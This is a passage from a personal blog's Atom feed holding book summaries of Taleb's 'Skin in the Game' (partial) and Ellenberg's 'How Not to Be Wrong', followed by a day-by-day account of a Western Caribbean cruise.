<li>Academia, when left unchecked, for the lack of skin in the game, evolves into a ritualistic self-referential publishing game.</li>
</ol>
<h3 id="minority-rule">Minority Rule</h3>
<ol>
<li>A stubborn minority can dictate rules for the majority, which does not care.</li>
<li>Most food in the US is kosher since Jews care and non-Jews don&rsquo;t. (ashishb&rsquo;s note: Most meat in India and Indian restaurants outside India is halal since minority Muslims want halal and non-Muslims don&rsquo;t care)</li>
<li>GMOs did not succeed much in the US despite lobbying since a small minority would only eat organic food, and the vast majority do not care.</li>
<li>In the US, in a men-only event, beer might suffice, but with a decent fraction of women attendees, the organizer switches to wine to avoid having separate glasses to serve beer and wine.</li>
<li>For a child born in the middle east, if at least one parent is Muslim, then the child is Muslim; Judaism only considers children of a Jewish mother to be Jewish, and for a child to be Ezidi (Yazidi), both parents have to be Ezidis. Over centuries these differences added up, making Islam the dominant religion in the middle east.</li>
<li>Minority rule results in a low-variant binary-outcomes.</li>
<li>An intolerant minority can win over a majority-lead democracy.</li>
<li>Science is not the total of what all scientists think, but it is highly skewed. Once you prove something is wrong, it is wrong.</li>
</ol>
<blockquote>
<p>A free person is someone whose fate is not dependent on peer assessment.</p></blockquote>
<h3 id="modern-slavery">Modern Slavery</h3>
<ol>
<li>Employees, as opposed to contractors, are like domesticated wild animals. They cost more, but the employers buy dependability in return. An employee has a status and a reputation to protect.</li>
<li>What matters most is not what the employee gets but what he&rsquo;s afraid of losing.</li>
<li>Freedom is always associated with risk-taking; it is never free.</li>
<li>A master protects a domesticated dog while those in the wilderness die. When the master dies, the domesticated dog will most likely be euthanized since people prefer adopting puppies and not the grown-up dogs.</li>
<li>Employees know how to fulfill a task which his master deems necessary or satisfy a gameable metric but cannot be trusted to do decision making, which entails serious trade-offs.</li>
<li>A free person is someone whose fate is not dependent on peer assessment. A restaurant owner cares about the judgment of the customers; an academician cares about the judgment of his peers.</li>
</ol>
<h3 id="inequality">Inequality</h3>
<ol>
<li>Europe is statically more equal; the US is dynamically more equal. While there is relatively less inequality across people in Europe, economic mobility is missing. While in the US, people move in and out of the top 1% rapidly.</li>
<li>Lower classes are more likely to exhibit envy towards their cousins than the super-rich. Academicians think otherwise since the hierarchy of academia makes them compare themselves to the rich. Hence, they assume the same for the &ldquo;abstract&rdquo; poor, with whom they don&rsquo;t even interact.</li>
<li>Inequality is acceptable to humans when they see skin in the game that comes with the privilege. It&rsquo;s the rewards devoid of any risk that bothers us as [unacceptable] inequality.</li>
<li>A community is a space where the interest of the collective prevails; it is the outsiders with whom you compete.</li>
</ol>
<h3 id="wealth">Wealth</h3>
<ol>
<li>Rich people are targeted by a whole industry of experts and consultants whose goal is to deceive money by selling complicated solutions. The simplest example is buying a bigger house just because you are rich and devoiding yourself of the warmth and the human company coming from a more dense settlement.</li>
<li>If wealth reduces your choices, you are doing it wrong.</li>
</ol>
<blockquote>
<p>If wealth reduces your choices, you are doing it wrong.</p></blockquote>
<h3 id="experts">Experts</h3>
<ol>
<li>Lindy Effect: Things that have stood the test of time are expected to last longer. A year-old book is expected to last another year, a century-old another century.</li>
<li>An award, recognition, acceptance of a paper are not usually indicative of the quality of the work; it usually indicates that a specific section of currently influential people is happy with it.</li>
</ol>
<h3 id="appearance">Appearance</h3>
<ol>
<li>The richness in appearance usually covers for the lack of substance.</li>
<li>Among two surgeons of equal caliber, the one who does not look like a surgeon is the more skilled one; since he has to cross more hurdles for the lack of his appearance. (ashishb&rsquo;s note: That&rsquo;s what Ben Horowitz 
<a href="/book-summary/hard-things-about-hard-things/">did</a> in case of Mark Cranney)</li>
<li>A discipline is bull-shit if what matters more is the prestige of the institution granting it.</li>
<li>People who are bred, selected and compensated for finding complicated solutions do not have an incentive to implement a simplified one.</li>
<li>Traders, when they make profits have short communications. When they lose, they drown you with theories, charts, and details. When a book tries to claim a point by tons of data, one should be suspicious of believing in the outcome. Since more often than not, the consequences are determined by a few extremes points, and rest all is usually the noise.</li>
</ol>
<h3 id="virtue">Virtue</h3>
<ol>
<li>It is immoral to claim virtue without living for its direct consequences.</li>
<li>If your private life conflicts with your intellectual opinion, it cancels your intellectual ideas, not your private life.</li>
<li>Courage is the only virtue you cannot fake. For example, when you are standing up for an unpopular truth.</li>
</ol>
<h3 id="same-words-different-meanings">Same words different meanings</h3>
<ol>
<li>The term &ldquo;Religion&rdquo; can mean different things to different individuals; it could be rituals, celebrations, a way of life, law, or even a political system.</li>
<li>A &ldquo;belief&rdquo; could be epistemic (knowledge-related) or procedural.</li>
<li>A person can be religious in words but atheist in actions. For example, Pope John Paul, who was   
    
    
<a href="https://en.wikipedia.org/wiki/Pope_John_Paul_II_assassination_attempt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shot</a>, was taken to a hospital, not to a worship house. A person can be religious in words and religious in action, for example, suicide bombers.</li>
<li>The fundamentalists take not only their own beliefs literally but also think that the more evolved ones take their beliefs literally too. While the more evolved believers think that the fundamentalists have some metamorphic concept about their beliefs. Literal interpretations don&rsquo;t leave room for adaptation.</li>
<li>A pagan mind handles nuances and ambiguity more easily than a pure monotheist like the followers of Salafi Islam.</li>
<li>Julian The Apostate, raised Christian, wanted to return to the pagan roots failed to find an equivalent God to worship since all pagan temples had different practices.</li>
<li>A restaurant in the US, primarily, exists not to sell food but to use food as a bait to make people buy expensive liquor. Similarly, religious beliefs are more about the purpose they serve and less about the beliefs themselves.</li>
<li>Some beliefs are decorative, while some lead to action. Their actions demonstrate One&rsquo;s commitment to a belief.</li>
</ol>
<blockquote>
<p>A person can be religious in words but atheist in actions.</p></blockquote>
<h3 id="rationality-survival-and-risk-vs-ruin">Rationality, survival, and risk vs. ruin</h3>
<ol>
<li>The goal of the eyes is not to produce the most accurate description of the world but the most useful one for survival.</li>
<li>Survival comes first; truth, understanding, and science later.</li>
<li>A sound political system is judged not by whether it makes sense, but whether it works.</li>
<li>The ensemble analysis of a system cannot merely be applied to a single person if the outcomes include ruin. A person playing Russian roulette has an 83% chance of making money, but a person who plays it repeatedly is bound to die, the payoff is not computable.</li>
<li>Risk implies recoverable downside; ruin implies unrecoverable devastation. One can be risk-loving but can be averse to ruin. Rationality is the avoidance of ruin.</li>
</ol>
<blockquote>
<p>The goal of the eyes is not to produce the most accurate description of the world but the most useful one for survival.</p></blockquote>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/taleb" term="taleb" label="taleb"/></entry><entry><title type="html">Book summary: How not to be wrong by Jordan Ellenberg</title><link href="https://ashishb.net/book-summary/how-not-to-be-wrong/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/made-to-stick/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Made to Stick by Chip Heath and Dan Heath"/><link href="https://ashishb.net/book-summary/skin-in-the-game/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Skin in the game by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/how-not-to-be-wrong/</id><author><name>Ashish Bhatia</name></author><published>2018-03-02T18:05:26+00:00</published><updated>2018-03-02T18:05:26+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how simple math principles reveal life&rsquo;s hidden truths. Avoid common traps like survivorship bias and recognize patterns beyond randomness. Engage now!</blockquote><p>  
    
    
<a href="https://unearnedwisdom.com/the-top-books-in-behavioral-economics/#How_Not_to_Be_Wrong?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in Unearned Wisdom" loading="lazy" src="/img/unearned-wisdom-badge.svg"></a></p>
<p>The   
    
    
<a href="https://amzn.to/2EeeUPj?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> focuses on the application of simple and profound maths to day-to-day life and how not to be deceived by mathematical traps.</p>
<blockquote>
<p>Dividing one number by another is mere computation. Figuring out what to divide is mathematics.</p></blockquote>
<h3 id="the-missing-bullet-holes">The missing bullet holes</h3>
<p>During the second world war, Americans were trying to decide where to add more armor to the plane. They could not add armor everywhere since it causes more consumption of the fuel. Air force concluded that the armor should go where the most bullets hit the plane.  For that, they used the damaged planes returning to the base. Abraham Wald, a mathematician claimed the opposite. He concluded that since fewer planes with damaged engines are returning, therefore, more armor should be applied there since the planes with damaged engines don&rsquo;t survive. We still see this survivorship bias, a study concluded that Large blend funds grew by 10.8% annually between 1995 and 2004 but once you take the dead funds, the rate falls to a more realistic 8.9% year over year.
<strong>Lesson: Challenge the assumptions, especially, survivorship bias.</strong></p>
<h3 id="false-linearity">False linearity</h3>
<p>People mistakenly (implicitly) assume that all lines are straight. If the obesity increased 1% last year than the same will happen over the coming years. That&rsquo;s what a paper did, which concluded that   
    
    
<a href="https://www.ncbi.nlm.nih.gov/pubmed/18719634?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">100% Americans will be obese by 2048</a>, applying false linearity to the same data simultaneously concluded only 80% black men will be obese at that time.
<strong>Lesson: Don&rsquo;t assume that the rate of change of a quantity will remain same over time. If it&rsquo;s linear it will but that assumption should be proved.</strong></p>
<h3 id="noise-in-small-data-sets">Noise in small data sets</h3>
<p>Small datasets have more noise than signal. When brain cancer per capita numbers are listed for the 50 states of the US than South Dakota ranks among highest while North Dakota ranks among the least. Same happened to the North Carolina school testing system where, as a paper   
    
    
<a href="https://www.dartmouth.edu/~dstaiger/Papers/kanestaigerjeparticle.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">concluded</a>, small schools ended up being best or the worst more often than the bigger ones since a few extremes (prodigies or slackers) caused a wide average swing.
<strong>Lesson: When looking at the conclusion based out of a data set, do see how resistant that dataset is to noise.</strong></p>
<h3 id="percentages-of-negative-numbers">Percentages of Negative numbers</h3>
<p>Consider a decade, where technology sector gained 2 million jobs, finance gained 0.6 million, manufacturing lost 2 million jobs. One can add the numbers up and claim that net job gain is 0.6 million, therefore, finance job growth is 100% of the total job growth!!!
Negative numbers don&rsquo;t really play with percentages.  Computation works but mathematical interpretations are incorrect. Percentages are fine for expenses, population, and similar quantities which are usually positive but not for quantities like profits or number of jobs which vary between positive and negative values.
<strong>Lesson: Percentages should not be used with dataset involving negative numbers.</strong></p>
<h3 id="patterns-created-by-noise">Patterns created by noise</h3>
<p>Humans have an uncanny ability to see patterns generated purely by noise (ashishb&rsquo;s note: See &quot; 
<a href="/book-summary/fooled-by-randomness/">Fooled by Randomness</a>&quot;). In 2009, a published   
    
    
<a href="https://tht.leoromero.org/neural-correlates-of-interspecies-perspective-taking-in-the-post-mortem-atlantic-salmon-an-argument-for-multiple-comparisons-correction/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">paper</a> demonstrated that even a dead salmon&rsquo;s brain activity (noise) can correlate to human emotions provided you divide the brain into sufficient parts and have a wiggle room to choose a particular part after recording the activity. Large random datasets are bound to exhibit some patterns generated by noise. Similar mistakes have been done by   
    
    
<a href="https://en.wikipedia.org/wiki/Bible_code?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bible code</a> believers who found patterns by selectively taking every fourth letter of certain passages to generate predictions. Financial companies incubate funds internally and after a few years, close the failed once and open the successful ones to public investment. Basketball fans believe in   
    
    
<a href="https://en.wikipedia.org/wiki/Hot-hand_fallacy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hot hands</a> even though there is no statistical basis for them.</p>
<h3 id="statistical-observations">Statistical Observations</h3>
<p>Human beings are quick to perceive patterns where they don&rsquo;t exist. One way to be certain is the concept of p-value, first, define the random outcome (&ldquo;null hypothesis&rdquo;) for a large sample set, perform the experiment and if the outcome had very low likelihood (p-value) of happening than the pattern exists. Generally, p-value below 0.05 (5%) is considered good or &ldquo;significant&rdquo;. Do note that, p below 0.05 can always by chance too and that&rsquo;s what leads to   
    
    
<a href="https://freakonometrics.hypotheses.org/19817?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">p-hacking</a> in medical papers.</p>
<h3 id="expected-values">Expected Values</h3>
<p>Expected value is the average value of a random over a large number of trials. MIT students figured out that the state lottery ticket had a higher expected value than its price and made   
    
    
<a href="https://www.theatlantic.com/business/archive/2016/02/how-mit-students-gamed-the-lottery/470349/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">profits</a> on it.</p>
<h3 id="risk-vs-uncertainty">Risk vs Uncertainty</h3>
<p>Risk is quantifiable, uncertainty is not. If an urn has 30 red balls out of 90 with rest being yellow and black, and you pull a ball out, the risk of not being red is 2/3 but the chance of pulling a black ball is unquantifiable. Decision and utility theory can work on risks. People   
    
    
<a href="https://en.wikipedia.org/wiki/Ellsberg_paradox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">prefer</a> risks over uncertain scenarios.</p>
<h3 id="regression-to-mean">Regression to Mean</h3>
<p>Any outcome impacted by chance regresses to mean. For example, really tall parents have kids who are usually not as tall as them. Best businesses of an era which are also lucky lose their luck over time and regress towards the mediocrity.</p>
<h3 id="correlation-is-not-transitive">Correlation is not transitive</h3>
<p>Correlation is like a blood-relation. A father is related to his son by blood, the son is related to the mother by blood but that it is wrong to conclude that the father-mother duo is related to each other by blood. Niacin (vitamin B) is correlated with higher HDL &ldquo;good cholesterol&rdquo;, higher HDL is correlated with better heart health but taking Niacin has no noticeable impact on heart health.  In fact, net correlation can be negative. In women, while higher estrogen levels correlate to lower risk of the heart diseases, hormone replacement therapy with estrogen and progestin increases the risk of heart diseases. Rich Americans are correlated with rich states and rich states are correlated with voting for the Democrats but rich Americans, on the whole, do not vote for Democrats.</p>
<blockquote>
<p>In women, while higher estrogen levels correlate to lower risk of the heart diseases, hormone replacement therapy with estrogen and progestin increases the risk of heart diseases.</p></blockquote>
<h3 id="uncorrelated-does-not-imply-unrelated">Uncorrelated does not imply unrelated</h3>
<p>Uncorrelated variables simply do not have the relationship that the correlation would have implied. They can still have other relations. A study designed to see do more informed American voters vote for Democrats or Republicans concluded that there is no correlation between being informed and voting for Democrat or Republican, which is correct. Except it turns out that the more informed voters were more polarized in their beliefs, uncorrelated but related.</p>
<h3 id="spurious-correlations">Spurious Correlations</h3>
<p>  
    
    
<a href="https://en.wikipedia.org/wiki/Berkson%27s_paradox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Berkson&rsquo;s fallacy</a> demonstrates that the spurious correlation between independent events can appear due to the bias in a study. For example, if 30% people suffer from diabetes and 40% suffer from heart diseases, and they all end up in the hospital than a statistical analysis at the hospital will conclude that diabetes is negatively correlated with heart diseases even when no such correlation exists.</p>
<h3 id="majority-opinion">Majority Opinion</h3>
<p>Polling rarely works when there are more than two options. Anything short of a simple majority in favor of one outcome generates a net statistically incoherent result. Whenever polled most Americans prefer smaller government than more taxes except when asked which social programs to cut, there is no consensus. The most extreme form of this is   
    
    
<a href="https://en.wikipedia.org/wiki/Condorcet_paradox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Condorcet Paradox</a> where among three candidates, people prefer A over B, B over C, and C over A. Some systems like   
    
    
<a href="https://en.wikipedia.org/wiki/Electoral_system_of_Australia?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Australia&rsquo;s instant run-off voting system</a> tries to solve this by asking for a list of preferences except this kind of system can lead to a loss for a centrist candidate who is no one&rsquo;s first preference. This is what happened in 2009 Burlington, Vermont elections which used the instant run-off voting system.</p>
<h3 id="how-a-new-choice-impacts-our-behavior">How a new choice impacts our behavior</h3>
<p>When we are choosing between two choices A and B, a new less preferred choice C can tilt the balance between our preference between A and B, it is known as   
    
    
<a href="https://en.wikipedia.org/wiki/Decoy_effect?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">asymmetric domination effect</a>. The effect exists not just in humans but has been observed even in animals. (ashishb&rsquo;s note: The best example of this, not mentioned in the book, is the   
    
    
<a href="https://humanhow.com/en/the-decoy-effect-complete-guide/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">web-only pricing</a> of Economist being really as web + print pricing of Economist)</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Escaping into Caribbean with Norwegian Escape Cruise</title><link href="https://ashishb.net/travel/escaping-into-caribbean-with-norwegian-escape-cruise/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/first-time-cruisers/?utm_source=atom_feed" rel="related" type="text/html" title="Some tips for the first time cruisers"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Trinidad and Tobago"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><id>https://ashishb.net/travel/escaping-into-caribbean-with-norwegian-escape-cruise/</id><author><name>Ashish Bhatia</name></author><published>2018-02-03T18:00:10+00:00</published><updated>2018-02-03T18:00:10+00:00</updated><content type="html"><![CDATA[<blockquote>Embark on a 7-day Caribbean cruise adventure with scenic destinations, thrilling activities, and unforgettable entertainment. Perfect for first-time cruisers!</blockquote><p>We took a Norwegian cruise in the western 
<a href="/travel/caribbean-trip-guide/">Caribbean</a>. The journey was seven-days long, three days on board, and four days at Falmouth (Jamaica), Georgetown (Cayman Islands), Costa Maya (
<a href="/tag/mexico/">Mexico</a>), and Great Stirrup Cay (Bahamas). If you are a first-time cruiser, read some of my tips for 
<a href="/travel/first-time-cruisers/">first-time cruisers</a>.</p>
<figure>
    
    <a href="ship-2-use-this-1024x410.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ship-2-use-this-1024x410.jpeg"
         alt="A large cruise ship sails on calm waters with Miami&#39;s skyline visible in the background, emphasizing a leisurely and scenic travel experience." width="900"/> </a>
</figure>

<figure>
    
    <a href="view-of-miami-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="view-of-miami-1024x768.jpg"
         alt="A cityscape view of Miami is depicted, showcasing tall skyscrapers in the background and a body of water in the foreground." width="900"/> </a>
</figure>

<h3 id="day-1--2---at-the-sea">Day 1 &amp; 2 - at the sea</h3>
<ol>
<li>
<p>The boarding is a bit of a mess. With 5000 passengers boarding and everyone required to assemble in the common area for the security briefing, it was complete chaos for a few hours.</p>
</li>
<li>
<p>We checked out the spa. It is well-maintained with sauna, sanatarium, and an arctic room.
Note: Unlike some other cruises like Carnival, spa access is not complementary to all cruise passengers. <img alt="Spa" loading="lazy" src="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/spa-1024x768.jpg"></p>
</li>
<li>
<p>Sports and aqua section on the top deck is pretty good with a pool, jacuzzi, and some water rides. I had some great fun trying out their ropes adventure there. It was impressive enough that I tried it multiple times during the journey.</p>
<figure>
       
       <a href="ropes-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="ropes-1024x768.jpg"
            alt="A dense abstract artwork featuring overlapping text, intricate designs, and muted colors, creating a visually complex composition." width="900"/> </a>
   </figure>

</li>
<li>
<p>Vegetarian food was good (not great) in the Asian section of the Garden Restaurant&rsquo;s buffet, and they do provide Indian roti on request too.</p>
</li>
</ol>
<h3 id="day-3---falmouth-jamaica">Day 3 - Falmouth, Jamaica</h3>
<figure>
    
    <a href="Falmouth-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Falmouth-1024x768.jpg"
         alt="A cruise ship is docked in Falmouth, Jamaica, with passengers touring Secret Falls and Dunn Falls in Ocho Rios." width="900"/> </a>
</figure>

<p>The cruise ship embarked in Jamaica. We took a tour of the Secret Falls and Dunn Falls in the Ocho Rios via   
    
    
<a href="https://chukka.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chukka</a> for $70 per person. Their guide picked us from the Falmouth port, and while driving gave us a good summary of the history of Jamaica, including various stops like the one where locals believe Columbus first arrived. The drive to Secret Falls is about an hour.</p>
<figure>
    
    <a href="Secret-Falls-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Secret-Falls-1024x768.jpg"
         alt="A waterfall cascades over rocks surrounded by lush greenery, creating a serene natural setting." width="900"/> </a>
</figure>

<p>Our second stop was Dunn Falls. We hiked right from the ocean back to the top of the falls. Overall, it takes about 4-5 hours to return to the cruise port.</p>
<figure>
    
    <a href="dunn-river-falls-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="dunn-river-falls-1024x768.jpg"
         alt="Dunn&#39;s River Falls" width="900"/> </a>
</figure>

<p>I would highly recommend this activity to anyone heading to Falmouth for half a day. Back to the cruise ship, shows like live music and performances were going on. Our cruise director Tyler Gray was a fantastic show host as his   
    
    
<a href="https://www.facebook.com/TGray293?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Facebook fan</a> following demonstrates. We quickly learned to attend every show he is hosting.</p>
<h3 id="day-4---georgetown-cayman-islands">Day 4 - Georgetown, Cayman Islands</h3>
<p>Water near Cayman islands is shallow, and therefore, the big ship anchors in the water at a distance, small boats, like the one shown, embark people to the port and back. Note: bid for good embarkation slots in advance.</p>
<figure>
    
    <a href="Cayman-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cayman-1-1024x768.jpg"
         alt="A turquoise sea with boats and a lush green island in the background, indicating a scenic, tropical location for tourism activities like embarkation." width="900"/> </a>
</figure>

<p>The island is green and beautiful.</p>
<figure>
    
    <a href="cayman-3-1024x453.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="cayman-3-1024x453.jpeg"
         alt="A lush, green island is surrounded by clear blue water, with a yacht by Captain Marvins cruising nearby, under a sunny sky." width="900"/> </a>
</figure>

<p>We took a three-stop snorkeling cruise by   
    
    
<a href="https://www.captainmarvins.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Captain Marvins</a> for $50 per person. The three stops are the famous stingray city, the coral gardens, and the reef. The stingray experience was great, but for snorkeling, 
<a href="/travel/belize/">snorkeling in Caye Caulker(Belize)</a> was a superior experience.</p>
<figure>
    
    <a href="cayman-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="cayman-4-1024x768.jpg"
         alt="Snorkeling" width="900"/> </a>
</figure>

<p>Overall, this 3-hour activity was worth it for us. But in case you have experienced a stingray tour before then, I would recommend doing something else. The return to the ship was complete torture as everyone headed back at the same time, the wait time to get onto the small boats was 1+ hour. Back on the ship, there were some great shows, including an excellent juggling performance by   
    
    
<a href="https://www.juggleshow.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Scotty Cavanaugh</a>.</p>
<figure>
    
    <a href="juggling.gif" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="juggling.gif"
         alt="Scotty Cavanaugh, a juggler, performs" width="300"/> </a>
</figure>

<h3 id="day-5---costa-maya-mexico">Day 5 - Costa Maya, Mexico</h3>
<figure>
    
    <a href="costa-maya-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="costa-maya-1-1024x768.jpg"
         alt="Costa Maya" width="900"/> </a>
</figure>

<p>Our next port of call was Costa Maya. The city or at least the port is extremely touristy. If you are planning to buy anything, be ready to bargain. We took a transportation + guided tour to Mayan ruins (Chacchoben) for $50 per person. The ruins are similar to but not as high as 
<a href="/travel/mexico/mexico-city-and-valle-de-bravo/">Plaza Del Sol</a> near Mexico City. If you are in a big group, I would recommend taking a transportation-only taxi to the ruins and get a guide there at a much lower price. Or if you have seen similar ruins, then skip this and head directly to the playa. A one-hour massage at the beach with beautiful views with the right prices ($20) is the highlight of the beach.</p>
<figure>
    
    <a href="costa-maya-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="costa-maya-2-768x1024.jpg"
         alt="A wooden beach pier extending over turquoise water with lush green trees in the background, highlighting beach specials priced at ." width="900"/> </a>
</figure>

<p>Mahahual, local name Costa Maya, is green all around.</p>
<figure>
    
    <a href="costa-maya-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="costa-maya-3-1024x768.jpg"
         alt="A tropical coastal landscape in Mahahual, also known as Costa Maya, features lush greenery surrounding the area." width="900"/> </a>
</figure>

<p>Back on the ship, we attended a Cabaret at night. Many such events require reservations, so don&rsquo;t forget to book them in advance.</p>
<figure>
    
    <a href="ship-entertainment-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ship-entertainment-1-1024x768.jpg"
         alt="An evening cabaret show onboard" width="900"/> </a>
</figure>

<h3 id="day-6---at-the-sea">Day 6 - at the sea</h3>
<figure>
    
    <a href="sea-1-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sea-1-1-1024x768.jpg"
         alt="An at-sea cruise ship hosts entertainment events" width="900"/> </a>
</figure>

<p>More events continued on this sea day.</p>
<figure>
    
    <a href="ship-entertainment-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ship-entertainment-2-768x1024.jpg"
         alt="Entertainment on the cruise ship" width="900"/> </a>
</figure>

<p>And more</p>
<figure>
    
    <a href="ship-entertainment-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ship-entertainment-3-768x1024.jpg"
         alt="Entertainment on the cruise ship" width="900"/> </a>
</figure>

<h3 id="day-7---great-stirrup-cay-bahamas">Day 7 - Great Stirrup Cay, Bahamas</h3>
<p>Great Stirrup Cay is a private island of Norwegian. While the food and water are complimentary on the island, there are tons of complaints about everything else being overpriced. The claims are not unfounded; here is a price list of activities.</p>
<figure>
    
    <a href="great-stirrup-cay-1-209x300.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="great-stirrup-cay-1-209x300.jpeg"
         alt="Great Stirrup Cay" width="400"/> </a>
</figure>

<p>Apart from that, there are still tons of small things to do on the island. One can go swimming, do carry swimming goggles to see fishes. Or one can play volleyball. As on the ship, vegetarian food was plenty and good (not great).</p>
<p>At night, back onto the cruise, more entertainment continued into the night.</p>
<figure>
    
    <a href="ship-entertainment-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ship-entertainment-4-1024x768.jpg"
         alt="Entertainment" width="900"/> </a>
</figure>

<p>And with this, our cruise came to an end.</p>
<figure>
    
    <a href="bye-bye.gif" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bye-bye.gif"
         alt="An animated image displays the phrase &#39;bye-bye&#39; with dynamic, playful text" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/><category scheme="https://ashishb.net/tag/cruise" term="cruise" label="cruise"/><category scheme="https://ashishb.net/tag/jamaica" term="jamaica" label="jamaica"/><category scheme="https://ashishb.net/tag/cayman-islands" term="cayman-islands" label="cayman-islands"/><category scheme="https://ashishb.net/tag/mexico" term="mexico" label="mexico"/><category scheme="https://ashishb.net/tag/bahamas" term="bahamas" label="bahamas"/></entry><entry><title type="html">Some tips for the first time cruisers</title><link href="https://ashishb.net/travel/first-time-cruisers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/escaping-into-caribbean-with-norwegian-escape-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="Escaping into Caribbean with Norwegian Escape Cruise"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><link href="https://ashishb.net/travel/cruising-in-french-polynesia/?utm_source=atom_feed" rel="related" type="text/html" title="Cruising in French Polynesia"/><link href="https://ashishb.net/travel/kauai-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Kauai, Hawaii"/><id>https://ashishb.net/travel/first-time-cruisers/</id><author><name>Ashish Bhatia</name></author><published>2018-02-03T17:00:58+00:00</published><updated>2018-02-03T17:00:58+00:00</updated><content type="html"><![CDATA[<blockquote>Master your cruise adventure with top booking tips, dining advice, and activity insights. From formal attire to shore excursions, plan for the perfect voyage!</blockquote><ol>
